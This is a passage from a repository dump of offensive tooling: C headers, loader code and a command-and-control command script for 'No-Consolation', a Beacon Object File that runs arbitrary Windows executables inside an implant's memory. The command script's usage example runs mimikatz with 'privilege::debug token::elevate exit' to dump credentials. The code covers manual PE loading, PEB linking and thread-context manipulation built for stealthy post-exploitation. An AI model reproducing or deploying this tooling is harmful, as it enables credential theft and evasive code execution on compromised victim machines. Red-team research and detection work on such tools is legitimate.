enable_breakpoint(\n    OUT CONTEXT* ctx,\n    IN PVOID address,\n    IN int index);\n\nBOOL set_hwbp(\n    IN HANDLE hThread,\n    IN PVOID address,\n    IN exception_callback hwbp_handler,\n    IN UINT32 index,\n    OUT PHANDLE phHwBpHandler);\n\nVOID remove_hwbp_handler(\n    IN HANDLE hHwBpHandler);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/loader.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <stdio.h>\n#include <winternl.h>\n\n#include \"entry.h\"\n#include \"utils.h\"\n#include \"bofdefs.h\"\n#include \"console.h\"\n#include \"apisetlookup.h\"\n\n#ifdef _WIN64\n#define MACHINE 0x8664\n#else\n#define MACHINE 0x14C\n#endif\n\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\n#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )\n\ntypedef NTSTATUS(__stdcall* STDCALL)(PLDR_DATA_TABLE_ENTRY);\ntypedef NTSTATUS(__thiscall* THISCALL)(PLDR_DATA_TABLE_ENTRY);\n\ntypedef struct _FP {\n    union {\n        STDCALL  stdcall;\n        THISCALL thiscall;\n        PVOID    ptr;\n    };\n} FP, *PFP;\n\ntypedef struct _IMAGE_RELOC {\n    WORD offset :12;\n    WORD type   :4;\n} IMAGE_RELOC, *PIMAGE_RELOC;\n\ntypedef BOOL  (WINAPI *DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);\ntypedef BOOL  (WINAPI *Entry_t)(PVOID Param1, PVOID Param2, PVOID Param3);\n\n// for setting the command line...\ntypedef CHAR**  (WINAPI *p_acmdln_t)(VOID);\ntypedef WCHAR** (WINAPI *p_wcmdln_t)(VOID);\n\nBOOL SetCommandLineW(\n    IN PCWSTR NewCommandLine);\nBOOL IsExitAPI(\n    IN PCHAR name);\n\n// Relative Virtual Address to Virtual Address\n#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)\n\nBOOL IsHeapPtr(\n    IN LPVOID ptr);\n\nBOOL IsReadable(\n    IN LPVOID ptr);\n\nVOID unload_dependency(\n    IN PLOADED_PE_INFO peinfo);\n\nPVOID handle_dependency(\n    IN PLOADED_PE_INFO peinfo,\n    IN LPSTR dll_name);\n\nPVOID handle_import(\n    IN PLOADED_PE_INFO peinfo,\n    IN PVOID dll_base,\n    IN LPSTR dll_name,\n    IN LPSTR api_name);\n\nBOOL load_pe(\n    IN PVOID pedata,\n    IN UINT32 pelen,\n    IN OUT PLOADED_PE_INFO peinfo);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/output.h",
    "content": "#pragma once\n\n#include \"beacon.h\"\n\n #define PRINT(...) { \\\n     BeaconPrintf(CALLBACK_OUTPUT_OEM, __VA_ARGS__); \\\n }\n #define PRINT_ERR(...) { \\\n     BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \\\n }\n#if defined(DEBUG)\n #define DPRINT(...) { \\\n     BeaconPrintf(CALLBACK_OUTPUT, \"DEBUG: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \\\n }\n#else\n #define DPRINT(...)\n#endif\n\n#if defined(DEBUG)\n #define DPRINT_ERR(...) { \\\n     BeaconPrintf(CALLBACK_ERROR, \"ERROR: %s:%d:%s(): \", __FILE__, __LINE__, __FUNCTION__); \\\n     BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \\\n }\n#else\n #define DPRINT_ERR(...)\n#endif\n\n#define syscall_failed(syscall_name, status) \\\n    DPRINT_ERR( \\\n        \"Failed to call %s, status: 0x%lx\", \\\n        syscall_name, \\\n        status \\\n    )\n\n#define function_failed(function) \\\n    DPRINT_ERR( \\\n        \"Call to '%s' failed, error: %ld\", \\\n        function, \\\n        GetLastError() \\\n    )\n\n#define malloc_failed() function_failed(\"malloc\")\n\n#define api_not_found(function) \\\n    DPRINT_ERR( \\\n        \"The address of '%s' was not found\", \\\n        function \\\n    )\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/peb.h",
    "content": "#pragma once\n\n#include \"bofdefs.h\"\n#include \"loader.h\"\n\n#ifdef _WIN64\n #define PEB_OFFSET 0x60\n #define READ_MEMLOC __readgsqword\n#else\n #define PEB_OFFSET 0x30\n #define READ_MEMLOC __readfsdword\n#endif\n\n#define LDRP_IMAGE_DLL 0x00000004\n#define LDRP_ENTRY_INSERTED 0x00008000\n#define LDRP_ENTRY_PROCESSED 0x00004000\n#define LDRP_DONT_CALL_FOR_THREADS 0x00040000\n#define LDRP_PROCESS_ATTACH_CALLED 0x00080000\n\nLPVOID xGetProcAddress(\n    IN LPVOID base,\n    IN PCHAR api_name,\n    IN DWORD ordinal);\n\nLPVOID xGetLibAddress(\n    IN PCHAR search,\n    IN BOOL load,\n    OUT PBOOL loaded);\n\nBOOL link_module(\n    IN PLOADED_PE_INFO peinfo,\n    IN PVOID base_address);\n\nBOOL unlink_module(\n    IN PLDR_DATA_TABLE_ENTRY2 ldr_entry);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/runner.h",
    "content": "#pragma once\n\n#include \"bofdefs.h\"\n\n#define BUFFER_SIZE 4096\n#define _WAIT_TIMEOUT 500\n\n// thread context related macros, simplify x64/x86 support\n\n#ifdef _WIN64\n#define CONTEXT_SET_IP( ctx, p ) ctx.Rip = (ULONG_PTR)p\n#define CONTEXT_SET_ARG1( ctx, p ) ctx.Rcx = (ULONG_PTR)p\n#define CONTEXT_SET_ARG2( ctx, p ) ctx.Rdx = (ULONG_PTR)p\n#define CONTEXT_SET_ARG3( ctx, p ) ctx.R8 = (ULONG_PTR)p\n#define CONTEXT_GET_RET( ctx ) *(PVOID*)ctx.Rsp\n#define CONTEXT_SET_RET( ctx, p ) *(PVOID*)ctx.Rsp = p\n#else\n#define CONTEXT_SET_IP( ctx, p ) ctx.Eip = (ULONG_PTR)p\n#define CONTEXT_SET_ARG1( ctx, p ) *(PVOID*)(ctx.Esp + sizeof(PVOID)) = p\n#define CONTEXT_SET_ARG2( ctx, p ) *(PVOID*)(ctx.Esp + sizeof(PVOID) * 2) = p\n#define CONTEXT_SET_ARG3( ctx, p ) *(PVOID*)(ctx.Esp + sizeof(PVOID) * 3) = p\n#define CONTEXT_GET_RET( ctx ) *(PVOID*)ctx.Esp\n#define CONTEXT_SET_RET( ctx, p ) *(PVOID*)ctx.Esp = p\n#define CONTEXT_ADD_STACK_SPACE( ctx, p ) ctx.Esp -= p\n#endif\n\nBOOL run_pe(\n    IN PLOADED_PE_INFO peinfo);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/include/utils.h",
    "content": "#pragma once\n\n#define ARGUMENT_PRESENT(ArgumentPointer) \\\n  ((CHAR*)((ULONG_PTR)(ArgumentPointer)) != (CHAR*)NULL)\n\n#define MAXUSHORT 65535\n#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) )\n\n#define STATUS_INVALID_BUFFER_SIZE 0xC0000206\n\nPVOID find_ldrp_handle_tls_data(VOID);\n\nPVOID find_ldrp_release_tls_entry(VOID);\n\nVOID insert_tail_list(\n    PLIST_ENTRY ListHead,\n    PLIST_ENTRY Entry);\n\nVOID unlink_from_list(\n    PLIST_ENTRY Entry);\n\nSIZE_T StringLengthA(\n    IN LPCSTR String);\n\nPCHAR StringConcatA(\n    IN PCHAR String,\n    IN PCHAR String2);\n\nVOID myRtlInitUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PCWSTR SourceString);\n\nSIZE_T StringLengthW(\n    IN LPCWSTR String);\n\nPCHAR StringCopyA(\n    IN PCHAR String1,\n    IN PCHAR String2);\n\nSIZE_T WCharStringToCharString(\n    IN PCHAR Destination,\n    IN PWCHAR Source,\n    IN SIZE_T MaximumAllowed);\n\nSIZE_T CharStringToWCharString(\n    IN PWCHAR Destination,\n    IN PCHAR Source,\n    IN SIZE_T MaximumAllowed);\n\nLONG RtlCompareUnicodeString(\n    IN PCUNICODE_STRING String1,\n    IN PCUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive);\n\nVOID RtlInitEmptyUnicodeString(\n    OUT PUNICODE_STRING UnicodeString,\n    IN PWCHAR Buffer,\n    IN UINT16 BufferSize);\n\nLONG RtlCompareUnicodeStrings(\n    IN CONST WCHAR* String1,\n    IN SIZE_T Length1,\n    IN CONST WCHAR* String2,\n    IN SIZE_T Length2,\n    IN BOOLEAN CaseInSensitive);\n\nBOOL string_is_included(\n    IN PCHAR list_of_strings,\n    IN PCHAR string_to_search);\n\nBOOL find_pattern(\n    IN PVOID dwAddress,\n    IN ULONG32 dwLen,\n    IN PBYTE bMask,\n    IN PCHAR szMask,\n    OUT PVOID* pattern_addr);\n\nBOOL is_pe(\n    IN HMODULE hLibrary);\n\nBOOL is_dll(\n    IN HMODULE hLibrary);\n\nVOID store_loaded_dll(\n    IN PLOADED_PE_INFO peinfo,\n    IN HMODULE dll,\n    IN PCHAR name);\n\nFARPROC WINAPI my_get_proc_address(\n    IN HMODULE hModule,\n    IN LPSTR lpProcName);\n\nHMODULE WINAPI my_get_module_handle_w(\n  IN LPCWSTR lpModuleName);\n\n#ifdef _WIN64\nBOOL insert_inverted_function_table_entry(\n    IN PVOID base_address,\n    IN SIZE_T size_of_image,\n    IN PRUNTIME_FUNCTION func_table,\n    IN DWORD size_of_table);\n\nBOOL remove_inverted_function_table_entry(\n    IN PRUNTIME_FUNCTION func_table);\n#endif\n\nHANDLE get_console_handle(VOID);\n\nVOID set_console_handle(\n\tIN HANDLE hConsoleHandle);\n\nHANDLE get_std_out_handle(VOID);\n\nVOID set_std_out_handle(\n\tIN HANDLE hStdOutErr);\n\nHANDLE get_std_err_handle(VOID);\n\nVOID set_std_err_handle(\n\tIN HANDLE hStdOutErr);\n\nHANDLE get_std_in_handle(VOID);\n\nDWORD get_tid(VOID);\n\nVOID rtl_exit_user_thread(VOID);\n\nBOOL create_thread(\n    OUT PHANDLE hThread);\n\nBOOL read_local_pe(\n    IN LPCTSTR path,\n    OUT PVOID* data,\n    OUT int* pelen);\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/no_consolation.axs",
    "content": "var cmd_no_consolation = ax.create_command(\"noconsolation\", \"Run an unmanaged EXE/DLL inside agents's memory\", \"noconsolation --binary /tmp/mimikatz.exe --args \\\"privilege::debug token::elevate exit\\\"\");\ncmd_no_consolation.addArgFlagString(\"--local\",  \"LOCAL_PATH\",               false,   \"The binary should be loaded from the disk on the target Windows machine\");\ncmd_no_consolation.addArgFlagString(\"--memory\", \"MEMORY_PATH\",              false,   \"The binary should be loaded from the memory on the target Windows machine\");\ncmd_no_consolation.addArgFlagFile(  \"-f\",       \"BINARY\",                   false,   \"Full path to the windows EXE/DLL you wish you run inside agent. If already loaded, you can simply specify the binary name.\");\ncmd_no_consolation.addArgFlagString(\"-a\",       \"ARGS\",                     false,   \"Parameters for the PE. Must be provided after the path\");\ncmd_no_consolation.addArgBool(       \"--inthread\",                                   \"Run the PE with the main thread. This might hang your agent depending on the PE and its arguments\");\ncmd_no_consolation.addArgBool(       \"--link-to-peb\",                                \"Load the PE into the PEB\");\ncmd_no_consolation.addArgBool(       \"--dont-unload\",                                \"If set, the DLL won't be unloaded\");\ncmd_no_consolation.addArgFlagInt(    \"--timeout\", \"NUM_SECONDS\",            false,   \"The number of seconds you wish to wait for the PE to complete running. Default 60 seconds. Set to 0 to disable\");\ncmd_no_consolation.addArgBool(       \"-k\",                                           \"Overwrite the PE headers\");\ncmd_no_consolation.addArgFlagString( \"--method\", \"EXPORT_NAME\",             false,   \"Method or function name to execute in case of DLL. If not provided, DllMain will be executed\");\ncmd_no_consolation.addArgBool(       \"-w\",                                           \"Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)\");\ncmd_no_consolation.addArgBool(       \"-no\",                                          \"Do not try to obtain the output\");\ncmd_no_consolation.addArgBool(       \"-ac\",                                          \"Allocate a console. This will spawn a new process\");\ncmd_no_consolation.addArgBool(       \"-ch\",                                          \"Close Pipe handles once finished. If PowerShell was already ran, this will break the output for PowerShell in the future\");\ncmd_no_consolation.addArgFlagString( \"--free-libraries\", \"FL_DLLS\",         false,   \"List of DLLs (DLL_A,DLL_B) (previously loaded with --dont-unload) to be offloaded\");\ncmd_no_consolation.addArgBool(       \"--dont-save\",                                  \"Do not save this binary in memory\");\ncmd_no_consolation.addArgBool(       \"--list-pes\",                                   \"List all PEs that have been loaded in memory\");\ncmd_no_consolation.addArgFlagString( \"--unload-pe\", \"PE_NAME\",              false,   \"Unload from memory a PE\");\ncmd_no_consolation.addArgBool(       \"-lad\",                                         \"Custom load all the PE's dependencies\");\ncmd_no_consolation.addArgFlagString( \"-ladb\", \"LADB_DLLS\",                  false,   \"Custom load all the PE's dependencies except these (DLL_A,DLL_B)\");\ncmd_no_consolation.addArgFlagString( \"-ld\", \"LD_DLLS\",                      false,   \"Custom load these PE's dependencies (DLL_A,DLL_B)\");\ncmd_no_consolation.addArgFlagString( \"-sp\", \"PATHS\",                       false,   \"Look for DLLs on these paths (PATH_A,PATH_B) (system32 is the default)\");\n\ncmd_no_consolation.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)\n{\n    let is_local = 0;\n    let local = \"\";\n    let is_memory = 0;\n    let memory = \"\";\n    let is_binary = 0;\n    let binary = \"\";\n    let is_args = 0;\n    let args = \"\";\n    let path = \"\";\n    let pename = \"\";\n    let pepath = \"\";\n    let path_set = 0;\n    let name_set = 0;\n    let pebytes = \"\";\n    let headers = 0;\n    let method = \"\";\n    let use_unicode = 0;\n    let timeout = 60;\n    let timeout_set = 0;\n    let nooutput = 0;\n    let alloc_console = 0;\n    let close_handles = 0;\n    let free_libs = \"\";\n    let dont_save = 0;\n    let list_pes = 0;\n    let is_unload_pe = 0;\n    let unload_pe = \"\";\n    let link_to_peb = 0;\n    let dont_unload = 0;\n    let load_all_deps = 0;\n    let load_all_deps_but = \"\";\n    let load_deps = \"\";\n    let search_paths = \"\";\n    let inthread = 0;\n    let pecmdline = \"\";\n\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if(parsed_json[\"-k\"]) { headers = 1; }\n    if(parsed_json[\"-w\"]) { use_unicode = 1; }\n    if(parsed_json[\"-no\"]) { nooutput = 1; }\n    if(parsed_json[\"-ac\"]) { alloc_console = 1; }\n    if(parsed_json[\"-ch\"]) { close_handles = 1; }\n    if(parsed_json[\"--dont-save\"]) { dont_save = 1; }\n    if(parsed_json[\"--list-pes\"]) { list_pes = 1; }\n    if(parsed_json[\"--link-to-peb\"]) { link_to_peb = 1; }\n    if(parsed_json[\"--dont-unload\"]) { dont_unload = 1; }\n    if(parsed_json[\"-lad\"]) { load_all_deps = 1; }\n\n    if(\"EXPORT_NAME\" in parsed_json) { method = parsed_json[\"EXPORT_NAME\"]; }\n    if(\"FL_DLLS\" in parsed_json) { free_libs = parsed_json[\"FL_DLLS\"]; }\n    if(\"LADB_DLLS\" in parsed_json) { load_all_deps_but = parsed_json[\"LADB_DLLS\"]; }\n    if(\"LD_DLLS\" in parsed_json) { load_deps = parsed_json[\"LD_DLLS\"]; }\n    if(\"PATHS\" in parsed_json) { search_paths = parsed_json[\"PATHS\"]; }\n\n    if(\"PE_NAME\" in parsed_json) {\n        is_unload_pe = 1;\n        unload_pe = parsed_json[\"PE_NAME\"];\n    }\n\n    if(\"LOCAL_PATH\" in parsed_json)  {\n        is_local = 1;\n        local = parsed_json[\"LOCAL_PATH\"];\n    }\n\n    if(\"MEMORY_PATH\" in parsed_json)  {\n        is_memory = 1;\n        memory = parsed_json[\"MEMORY_PATH\"];\n    }\n\n    if(\"BINARY\" in parsed_json)  {\n        is_binary = 1;\n        binary = parsed_json[\"BINARY\"];\n    }\n\n    if(\"ARGS\" in parsed_json)  {\n        is_args = 1;\n        args = parsed_json[\"ARGS\"];\n    }\n\n    if(\"NUM_SECONDS\" in parsed_json) {\n        timeout = parsed_json[\"NUM_SECONDS\"];\n        timeout_set = 1;\n    }\n\n    if( is_local + is_binary + is_memory > 1 ) { throw new Error(\"You must specify either --local, --memory or -f\"); }\n\n    if(is_binary) {\n        path_set = 1;\n    }\n    else if(is_local && /^[A-Za-z]:\\\\.*/.test(local)) {\n        path = local;\n        path_set = 1;\n    }\n    else if(is_memory && /^[A-Za-z].*\\.exe/.test(memory)) {\n        name_set = 1;\n        pename = memory;\n    }\n    else if(list_pes == 0 && is_unload_pe == 0) {\n        throw new Error(\"Specified executable does not exist\");\n    }\n\n    if( free_libs.length == 0 && unload_pe.length == 0 && list_pes == 0 && name_set == 0 && path_set == 0 && close_handles == 0 ) { throw new Error(\"PE path not provided\"); }\n    if( (path_set || unload_pe || free_libs) && list_pes ) { throw new Error(\"The option --list-pes must be ran alone\"); }\n    if( free_libs && unload_pe )                           { throw new Error(\"The option --unload-pe must be ran alone\"); }\n    if( path_set && (unload_pe || free_libs) )             { throw new Error(\"The option --unload-pe or --free-libraries must be ran alone\") };\n    if( timeout_set && inthread )                          { throw new Error(\"The options --inthread and --timeout are not compatible\"); }\n\n    if(path_set) {\n        if(is_binary) {\n            pename = ax.hash(\"md5\", 8, binary) + \".exe\";\n            pepath = \"C:\\\\Windows\\\\System32\\\\\" + pename;\n            pebytes = binary\n            path = \"\";\n        }\n        else {\n            pename = ax.file_basename(path);\n            pepath = path;\n        }\n    }\n\n    if (path_set || name_set) {\n        pecmdline = pename;\n        if(is_args) {\n            pecmdline += \" \" + args;\n        }\n    }\n\n    var timestamp = ax.format_time(\"dd/MM hh:mm\", ax.ticks());\n\n    let bof_path = ax.script_dir() + \"_bin/NoConsolation.\" + ax.arch(id) + \".o\";\n    let bof_params = ax.bof_pack(\"wstr,cstr,wstr,bytes,cstr,int,int,int,wstr,cstr,wstr,int,int,int,int,cstr,int,int,cstr,cstr,int,int,int,cstr,cstr,cstr,int\", [pename, pename, pepath, pebytes, path, is_local, timeout, headers, pecmdline, pecmdline, method, use_unicode, nooutput, alloc_console, close_handles, free_libs, dont_save, list_pes, unload_pe, timestamp, link_to_peb, dont_unload, load_all_deps, load_all_deps_but, load_deps, search_paths, inthread ]);\n    let message = `Task: execute ${pename} via No-Consolation BOF`;\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/apisetlookup.c",
    "content": "/**\n * API Set Lookup\n * Copyright (c) 2018-2019 Aidan Khoury. All rights reserved.\n *\n * @file apiset.c\n * @authors Aidan Khoury (ajkhoury)\n * @date 11/22/2018\n */\n\n#include \"apisetlookup.h\"\n\n//\n// ApiSet DLL prefixes.\n//\n\n#define API_SET_DLL_EXTENSTION  (ULONGLONG)0x004C004C0044002E /* L\".DLL\" */\n\n//\n// Useful macros for ApiSet api.\n//\n\n#define API_SET_CHAR_TO_LOWER(c) \\\n    (((WCHAR)((c) - L'A') <= (L'a' - L'A' - 1)) ? ((c) + 0x20) : (c))\n\n\n//\n// API set schema version 6.\n//\n\n#define GET_API_SET_NAMESPACE_ENTRY_V6(ApiSetNamespace, Index) \\\n    ((PAPI_SET_NAMESPACE_ENTRY_V6)((ULONG_PTR)(ApiSetNamespace) + \\\n                                ((PAPI_SET_NAMESPACE_V6)(ApiSetNamespace))->EntryOffset + \\\n                                    ((Index) * sizeof(API_SET_NAMESPACE_ENTRY_V6))))\n\n#define GET_API_SET_NAMESPACE_VALUE_ENTRY_V6(ApiSetNamespace, Entry, Index) \\\n    ((PAPI_SET_VALUE_ENTRY_V6)((ULONG_PTR)(ApiSetNamespace) + \\\n                                ((PAPI_SET_NAMESPACE_ENTRY_V6)(Entry))->ValueOffset + \\\n                                    ((Index) * sizeof(API_SET_VALUE_ENTRY_V6))))\n\n#define GET_API_SET_NAMESPACE_ENTRY_NAME_V6(ApiSetNamespace, Entry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + ((PAPI_SET_NAMESPACE_ENTRY_V6)(Entry))->NameOffset))\n\n#define GET_API_SET_NAMESPACE_ENTRY_VALUE_V6(ApiSetNamespace, Entry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + ((PAPI_SET_NAMESPACE_ENTRY_V6)(Entry))->ValueOffset))\n\n#define GET_API_SET_VALUE_ENTRY_NAME_V6(ApiSetNamespace, Entry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + ((PAPI_SET_VALUE_ENTRY_V6)(Entry))->NameOffset))\n\n#define GET_API_SET_VALUE_ENTRY_VALUE_V6(ApiSetNamespace, Entry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + ((PAPI_SET_VALUE_ENTRY_V6)(Entry))->ValueOffset))\n\n#define GET_API_SET_HASH_ENTRY_V6(ApiSetNamespace, Middle) \\\n    ((PAPI_SET_HASH_ENTRY_V6)((ULONG_PTR)(ApiSetNamespace) + \\\n                            ((PAPI_SET_NAMESPACE_V6)(ApiSetNamespace))->HashOffset + \\\n                                ((Middle) * sizeof(API_SET_HASH_ENTRY_V6))))\n\nPAPI_SET_NAMESPACE_ENTRY_V6\nApiSetpSearchForApiSetV6(\n    IN PAPI_SET_NAMESPACE_V6 ApiSetNamespace,\n    IN PWCHAR ApiSetNameToResolve,\n    IN USHORT ApiSetNameToResolveLength\n)\n{\n    PWCHAR                 pwc             = NULL;\n    USHORT                 Count           = 0;\n    ULONG                  HashKey         = 0;\n    LONG                   Low             = 0;\n    LONG                   Middle          = 0;\n    LONG                   High            = 0;\n    PAPI_SET_HASH_ENTRY_V6 HashEntry       = NULL;\n    PAPI_SET_NAMESPACE_ENTRY_V6 FoundEntry = NULL;\n\n    if (!ApiSetNameToResolveLength) {\n        return NULL;\n    }\n\n    //\n    // Calculate hash key for this ApiSet name.\n    //\n    HashKey = 0;\n    pwc = ApiSetNameToResolve;\n    Count = ApiSetNameToResolveLength;\n    do {\n        HashKey = HashKey * ApiSetNamespace->HashFactor + (USHORT)API_SET_CHAR_TO_LOWER(*pwc);\n        ++pwc;\n        --Count;\n    } while (Count);\n\n    //\n    // Lookup the matching hash in the ApiSet namespace using a binary search.\n    //\n    FoundEntry = NULL;\n    Low = 0;\n    Middle = 0;\n    High = (LONG)ApiSetNamespace->Count - 1;\n\n    while (High >= Low) {\n        Middle = (Low + High) >> 1;\n\n        HashEntry = GET_API_SET_HASH_ENTRY_V6(ApiSetNamespace, Middle);\n\n        if (HashKey < HashEntry->Hash) {\n            High = Middle - 1;\n        } else if (HashKey > HashEntry->Hash) {\n            Low = Middle + 1;\n        } else {\n            //\n            // Get the namespace entry from the hash entry index.\n            //\n            FoundEntry = GET_API_SET_NAMESPACE_ENTRY_V6(ApiSetNamespace, HashEntry->Index);\n            break;\n        }\n    }\n\n    //\n    // If the high index is less than the low index, then a matching hash entry was not found.\n    // Otherwise, get the found namespace entry.\n    //\n    if (High < Low) {\n        return NULL;\n    }\n\n    //\n    // Final check on apiset library name in order to make sure we didn't collide with\n    // another hash bucket.\n    //\n    if (RtlCompareUnicodeStrings(ApiSetNameToResolve,\n                                 ApiSetNameToResolveLength,\n                                 GET_API_SET_NAMESPACE_ENTRY_NAME_V6(ApiSetNamespace, FoundEntry),\n                                 FoundEntry->HashedLength / sizeof(WCHAR),\n                                 TRUE) == 0) {\n        return FoundEntry;\n    }\n\n    return NULL;\n}\n\nPAPI_SET_VALUE_ENTRY_V6\nApiSetpSearchForApiSetHostV6(\n    IN PAPI_SET_NAMESPACE_ENTRY_V6 Entry,\n    IN WCHAR *ApiSetNameToResolve,\n    IN USHORT ApiSetNameToResolveLength,\n    IN PAPI_SET_NAMESPACE_V6 ApiSetNamespace)\n{\n    LONG                    Low             = 0;\n    LONG                    Middle          = 0;\n    LONG                    High            = 0;\n    LONG                    Result          = 0;\n    PAPI_SET_VALUE_ENTRY_V6 FoundEntry      = NULL;\n    PAPI_SET_VALUE_ENTRY_V6 ApiSetHostEntry = NULL;\n\n    //\n    // If there is no alias, don't bother checking each one.\n    //\n    FoundEntry = GET_API_SET_NAMESPACE_VALUE_ENTRY_V6(ApiSetNamespace, Entry, 0);\n\n    High = (LONG)(Entry->ValueCount - 1);\n    if (!High) {\n        return FoundEntry;\n    }\n\n    Low = 1; // skip the first entry.\n\n    while (Low <= High) {\n        Middle = (Low + High) >> 1;\n\n        ApiSetHostEntry = GET_API_SET_NAMESPACE_VALUE_ENTRY_V6(ApiSetNamespace, Entry, Middle);\n\n        //\n        // Compare API names.\n        //\n        Result = RtlCompareUnicodeStrings(ApiSetNameToResolve,\n                                          ApiSetNameToResolveLength,\n                                          GET_API_SET_VALUE_ENTRY_NAME_V6(ApiSetNamespace, ApiSetHostEntry),\n                                          ApiSetHostEntry->NameLength / sizeof(WCHAR),\n                                          TRUE);\n        if (Result < 0) {\n            High = Middle - 1;\n        } else if (Result > 0) {\n            Low = Middle + 1;\n        } else {\n            FoundEntry = GET_API_SET_NAMESPACE_VALUE_ENTRY_V6(ApiSetNamespace, Entry, Middle);\n            break;\n        }\n    }\n\n    return FoundEntry;\n}\n\nBOOL ApiSetResolveToHostV6(\n    IN PAPI_SET_NAMESPACE ApiSetNamespace,\n    IN PUNICODE_STRING ApiSetNameToResolve,\n    IN PUNICODE_STRING ParentName,\n    OUT PUNICODE_STRING Output)\n{\n    BOOL                        IsResolved             = FALSE;\n    PWCHAR                      ApiSetNameBuffer       = 0;\n    PWCHAR                      pwc                    = 0;\n    ULONG                       ApiSetNameBufferLength = 0;\n    USHORT                      ApiSetNameNoExtLength  = 0;\n    PAPI_SET_NAMESPACE_ENTRY_V6 ResolvedNamespaceEntry = NULL;\n    PAPI_SET_VALUE_ENTRY_V6     HostLibraryEntry       = NULL;\n\n    RtlInitEmptyUnicodeString(Output, NULL, 0);\n\n    ApiSetNameBuffer = ApiSetNameToResolve->Buffer;\n\n    //\n    // Compute word count of apiset library name without the dll suffix and anything\n    // beyond the last hyphen. Example: \n    //     api-ms-win-core-apiquery-l1-1-0.dll -> wordlen(api-ms-win-core-apiquery-l1-1)\n    //\n    ApiSetNameBufferLength = (ULONG)ApiSetNameToResolve->Length;\n    pwc = RVA2VA(PWCHAR, ApiSetNameBuffer, ApiSetNameBufferLength);\n    do {\n        if (ApiSetNameBufferLength <= 1)\n            break;\n        ApiSetNameBufferLength -= sizeof(WCHAR);\n        --pwc;\n    } while (*pwc != L'-');\n\n    ApiSetNameNoExtLength = (USHORT)(ApiSetNameBufferLength / sizeof(WCHAR));\n    if (!ApiSetNameNoExtLength) {\n        goto Exit;\n    }\n\n    //\n    // Hash table lookup.\n    //\n    ResolvedNamespaceEntry = ApiSetpSearchForApiSetV6(\n        (PAPI_SET_NAMESPACE_V6)ApiSetNamespace,\n        ApiSetNameBuffer,\n        ApiSetNameNoExtLength);\n    if (!ResolvedNamespaceEntry) {\n        goto Exit;\n    }\n\n    //\n    // Look for aliases in hosts libraries if necessary.\n    //\n    if (ResolvedNamespaceEntry->ValueCount > 1 && ParentName) {\n\n        HostLibraryEntry = ApiSetpSearchForApiSetHostV6(\n            ResolvedNamespaceEntry,\n            ParentName->Buffer,\n            ParentName->Length / sizeof(WCHAR),\n            (PAPI_SET_NAMESPACE_V6)ApiSetNamespace);\n\n    } else if (ResolvedNamespaceEntry->ValueCount > 0) {\n\n        HostLibraryEntry = GET_API_SET_NAMESPACE_VALUE_ENTRY_V6(ApiSetNamespace,\n                                                                ResolvedNamespaceEntry,\n                                                                0);\n    } else {\n        goto Exit;\n    }\n\n    //\n    // Output resolved host library.\n    //\n    Output->Length = (USHORT)HostLibraryEntry->ValueLength;\n    Output->MaximumLength = Output->Length;\n    Output->Buffer = GET_API_SET_VALUE_ENTRY_VALUE_V6(ApiSetNamespace, HostLibraryEntry);\n\n    IsResolved = TRUE;\n\nExit:\n    return IsResolved;\n}\n\n\n\n//\n// API set schema version 4.\n//\n\n#define GET_API_SET_NAMESPACE_ENTRY_V4(ApiSetNamespace, Index) \\\n    ((PAPI_SET_NAMESPACE_ENTRY_V4)(((PAPI_SET_NAMESPACE_ARRAY_V4)(ApiSetNamespace))->Array + \\\n                                        Index))\n\n#define GET_API_SET_NAMESPACE_ENTRY_NAME_V4(ApiSetNamespace, NamespaceEntry) \\\n    ((PWCHAR)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_NAMESPACE_ENTRY_V4)(NamespaceEntry))->NameOffset))\n\n#define GET_API_SET_NAMESPACE_ENTRY_DATA_V4(ApiSetNamespace, NamespaceEntry) \\\n    ((PAPI_SET_VALUE_ARRAY_V4)((ULONG_PTR)(ApiSetNamespace) + \\\n                                ((PAPI_SET_NAMESPACE_ENTRY_V4)(NamespaceEntry))->DataOffset))\n\n#define GET_API_SET_VALUE_ENTRY_V4(ApiSetNamespace, ResolvedValueArray, Index) \\\n    ((PAPI_SET_VALUE_ENTRY_V4)(((PAPI_SET_VALUE_ARRAY_V4)(ResolvedValueArray))->Array + \\\n                                        Index))\n\n#define GET_API_SET_VALUE_ENTRY_NAME_V4(ApiSetNamespace, ApiSetValueEntry) \\\n    ((WCHAR*)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_VALUE_ENTRY_V4)(ApiSetValueEntry))->NameOffset))\n\n#define GET_API_SET_VALUE_ENTRY_VALUE_V4(ApiSetNamespace, ApiSetValueEntry) \\\n    ((WCHAR*)((ULONG_PTR)(ApiSetNamespace) + \\\n                ((PAPI_SET_VALUE_ENTRY_V4)(ApiSetValueEntry))->ValueOffset))\n\nPAPI_SET_NAMESPACE_ENTRY_V4\nApiSetpSearchForApiSetV4(\n    IN PAPI_SET_NAMESPACE ApiSetNamespace,\n    IN 